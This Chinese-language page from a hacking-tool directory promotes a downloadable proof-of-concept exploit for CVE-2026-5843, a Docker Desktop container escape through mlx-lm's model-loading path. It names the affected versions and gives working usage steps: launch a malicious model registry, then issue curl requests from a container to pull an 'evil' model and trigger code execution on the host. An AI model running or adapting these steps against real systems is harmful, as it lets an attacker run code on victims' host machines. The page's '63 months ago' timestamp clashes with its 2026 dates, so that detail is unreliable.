Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/davidrxchester/cve-2026-5843
容器安全漏洞分析漏洞利用红队Payload 开发容器逃逸AI 安全
GitHubdavidrxchester/cve-2026-5843

CVE-2026-5843

Docker 容器逃逸 POC,通过 mlx-metal importlib

查看仓库
63个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-5843 PoC

一个极简的 OCI 注册表,用于提供恶意模型,以利用 mlx-lm 中的 model_file importlib 执行路径。当 Docker Model Runner 加载模型进行推理时,model.py 将以当前登录用户的身份在宿主机上执行。

要求: Docker Desktop ≤ 4.70.x(Apple Silicon)并启用 Model Runner

使用方法

root@kitploit:~
# 1. Start the registry on the host
python3 poc_cve_2026_5843.py

# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh

curl -X POST http://model-runner.docker.internal/api/pull \
  -H 'Content-Type: application/json' \
  -d '{"name":"localhost:5555/evil/model:latest"}'

curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'

输出将写入宿主机上的 ~/Desktop/mlx.txt。

完整分析文章:https://davidrochester.com/posts/container-escape-via-inference

相关 CVE

  • CVE-2026-5817 — vllm-metal 的 trust_remote_code=True,相同的攻击面,已在 Docker Desktop 4.68.0 中修复。
下载工具